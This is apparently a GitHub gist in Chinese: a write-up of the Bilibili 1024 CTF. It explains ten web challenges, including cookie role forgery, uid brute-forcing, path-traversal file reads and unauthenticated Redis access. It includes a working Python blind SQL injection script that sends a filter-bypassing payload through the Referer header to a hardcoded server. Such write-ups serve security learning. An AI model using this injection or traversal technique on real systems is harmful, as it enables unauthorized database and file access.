Skip to content

Instantly share code, notes, and snippets.

@guomaimang
Forked from WayneOvO/wp.md
Created October 27, 2020 01:29
Show Gist options
  • Save guomaimang/a999dcbdf26b9a7821cb30f75efec183 to your computer and use it in GitHub Desktop.
Save guomaimang/a999dcbdf26b9a7821cb30f75efec183 to your computer and use it in GitHub Desktop.
bilibilictf writeup

题目都是脑洞题,目前网上已经很多题解了,我简单说两句

第一题

F12打开控制台,选Network,看到有请求到/api/ctf/admin的请求,返回结果就是第一题flag,也可以直接审计元素看html源码拿到flag。(知道如何查看HTML源码基本是入门的第一步)

第二题

修改HTTP请求报文User-Agentbilibili Security Browser,访问/api/ctf/2 获得第二个flag。 (通常很多网站服务端都会通过你的请求报文里User-Agent来判断你使用的浏览器,来避免一些爬虫或根据浏览器不同呈现不同的展示效果(这个通常在前端做))

第三题

弱口令的猜解,账号为admin,密码 bilibili (貌似川普的Twitter密码前一阵子就被人用这种方法破掉了,大家注意平时密码一定要起的复杂一点)

第四题

使用截获HTTP报文的工具(eg. burpsuite),可以发现response里cookie set了个role=xxxxxxx, xxxxxxx是user对应的md5值,这里的脑洞在于你要把它改成Administrator对应的md5值。 (cookie一般是网站用来进行判断用户身份的令牌,大家要注意不要分享给别人,就比如比赛的过程中看到很多人分享暴力破解flag的脚本,结果忘了删自己的cookie,导致他的b站账号被盗取了:p)

第五题

需要你传入GET参数?uid=xxxx,查看HTML源码发现有个default的uid,然后需要你在这个uid附近进行暴力破解,大概在+62的位置就是目标的uid了。 (这个题目是属于横向越权的例子,你的请求报文有时会附带一些参数,这些参数很可能是后端用来判断你用户身份的,和上面cookie同理,如果进行修改再发送就可能伪造成其他用户,获取他人的隐私信息)

第六题

简单的SQL注入类型题目,但本题的注入点不在id,而是HTTP请求报文头部的Referer字段,并且题目过滤了一些常用来注入的字符串和符号,所以导致sqlmap无法探测到,可以进行手工注入或写脚本注入, 需要把一些字符串双写来绕过过滤。

import requests
import time
import sys

URL = "http://120.92.151.189/blog/single.php?id=1"
payload = "http://120.92.151.189/' oorr IF(ascii(substr((%s),%s,1))=%s,1,0)#"

query = "selselectect hex(flag) from flag limit 1"
rtn = ""
for m in range(1, 40):
    for n in '!0123456789ABCDEF?':
        n = ord(n)
        rps = requests.get(URL, headers={"Referer": payload % (query, m, n)})
        if rps.status_code == 503:
            while rps.status_code == 503:
                rps = requests.get(URL, headers={"Referer": payload % (query, m, n)})

        if 'admin' in rps.text:
            if n == ord('!'):
                exit(0)
            rtn += chr(n)

            try:
                print(rtn.decode('hex'))
            except Exception:
                pass
            break

        if n == ord('?'):
            exit(0)

(SQL注入是安全领域很常见的攻击方式,主要是因为服务端开发者错误拼接了sql语句,导致可以插入并执行恶意的sql语句来获取数据库里的敏感信息)

第七题

考察了任意文件读取,首先在前几题的HTML源码可以看到明显的/api/images?file=banner.png 并且有些有注释掉的banner.png,经过测试发现确实在web目录里有这个png,那么就会想到通过目录跳转来读取其他文件,于是 http://45.113.201.36/api/images?file=../../../flag7.txt (任意文件读取也是安全领域的一种问题,解这种题需要经验和反复尝试,当然这题是硬编码判断的../../../flag7.txt,会让一些本来会做的人不会做了,一般的求解方式都是先判断 ?file=./banner.png是否还是正常返回,但这题返回404,很多人就认为根本没法任意文件读取了)

第八题

对目标服务器进行端口扫描发现存在6379端口,然后使用redis-cli连接上去,获得flag8 (对目标进行渗透测试的时候通常要扫描一下开放端口(注意现在的网络安全法要求必须有授权才可以做这些事),有些服务就存在一些通用的问题,比如redis经常绑定在6379端口,如果对外开放,就可能未授权访问,进行redis命令操作,最严重可以导致服务器被完全控制,当然本题是个假redis,只能进行读写操作,所以只能读读flag或者和不知道哪个参赛选手一样写一堆假flag来骗其他人了)

第九题

http://45.113.201.36/api/images?file=../../../secret.txt 脑洞依然很大,得到一串加密的message,根据密文长度猜测是分组密码加密的,但是没有脑洞到解密的密钥,所以没人能解出 (这题脑洞巨大,导致所有人都卡住了)

第十题

工具扫描web目录得到/blog/test.php, 然后请求发现是jsfuck编码的Javascript代码,放到F12控制台里运行能获取到明文

 var str1 = "程序员最多的地方";
 var str2 = "bilibili1024havefun";
 console.log()

那么str1的意思就是让你去github搜索str2,发现了https://github.com/interesting-1024/end ,拿到源码后通过一点php的小trick可以绕过if判断,猜解目录是/flag.txt拿到疑似flag的图片,使用记事本或者其他二进制文件查看器(eg. 010editor)可以发现图片文件末尾有一串flag。 (这题是比较综合的社会工程的题目,去github可以搜索很多有帮助你渗透目标服务器的东西,比如密钥或者服务源码)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment